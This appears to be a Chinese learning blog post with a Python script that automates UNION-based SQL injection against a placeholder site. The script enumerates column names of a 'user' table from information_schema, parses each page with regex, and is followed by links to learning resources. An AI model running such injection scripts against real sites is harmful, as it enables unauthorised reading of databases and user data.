zoukankan      html  css  js  c++  java
  • sql到python正则

    import urllib.request
    import re,time
    result=[]
    for i in range(100):
        urls ="http://xxx.com/-1%20union%20select%201,(select%20column_name%20from%20information_schema.columns%20where%20table_name='user'%20limit%20"
        urls1 ="%d,1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29.html"%i
        url=urls+urls1
        f = urllib.request.urlopen(url)
        content = f.read().decode('utf8')
        pattern = re.compile(r'<div class="biaoti02_01">.*?<span>',re.S)
        basic_content = re.finditer(pattern,content)
        for j  in basic_content:
            init_dict={}
            j=str(j)
            d= re.search(r'<div class="biaoti02_01">(.*?)<br>',j)
            init_dict['tablename']=d.group(1)
            print(d.group(1))
            result.append(init_dict)
            
            time.sleep(0.5)
    print(result)


    运行截图爆表名

    目前正则还在学习中 打印结果丑陋

    学习资料 https://www.cnblogs.com/smxiazi/articles/9743318.html

    正则学习 https://www.runoob.com/python/python-reg-expressions.html

    python request 学习 https://blog.csdn.net/qq_37616069/article/details/80376776

    https://blog.csdn.net/wukong_666/article/details/84146738

    对象报错解决办法 https://blog.csdn.net/w926498/article/details/80579520

    切记 学习之路 少就是多慢就是快  ~

  • 相关阅读:
    erlang中变量作用域
    erlang数字转字符串
    gen_server笔记
    Using Eredis, Redis With Erlang
    erlang lists模块函数使用大全
    erlang抽象码与basho的protobuf
    Erlang Module and Function
    Erlang中频繁发送远程消息要注意的问题
    Erlang中的record与宏
    数据结构之数羊问题
  • 原文地址:https://www.cnblogs.com/-zhong/p/11388769.html
Copyright © 2011-2022 走看看